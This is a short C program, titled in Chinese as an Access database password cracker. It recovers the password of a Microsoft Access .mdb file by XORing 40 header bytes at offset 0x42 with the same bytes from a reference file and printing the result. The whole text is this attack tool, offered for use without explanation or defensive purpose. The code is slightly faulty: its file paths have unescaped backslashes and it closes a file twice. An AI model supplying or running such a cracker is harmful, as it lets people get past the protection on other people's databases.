access数据库密码破解

#include <stdio.h>
main()
{
FILE *fp;
char mm0[40],mm1[40],mm2[40];
int i,k;
clrscr();
fp=fopen("d:\mqmima.mdb","rb");
if(fp==NULL)
{
printf("\n not find mqmima.mdb database!");
exit(0);
}
rewind(fp);
fseek(fp,0x42l,0);
fread(mm0,40,1,fp);
fclose(fp);


fp=fopen("d:\mq.mdb","rb");
if(fp==NULL)
{
printf("\n not find mq.mdb database!");
exit(0);
}
rewind(fp);
fseek(fp,0x42l,0);
fread(mm1,40,1,fp);
fclose(fp);


for(i=0;i<40;i++)
mm2[i]=mm0[i]^mm1[i];
fclose(fp);
k=0;
for(i=0;i<40;i++)
if(mm2[i]!=0)
{
k=1;
break;
}
if(k==0)
printf("\n not password !!!");
else
{
printf("\npassword is:\n");
for(i=0;i<40;i=i+2)
printf("%c",mm2[i]);
}
}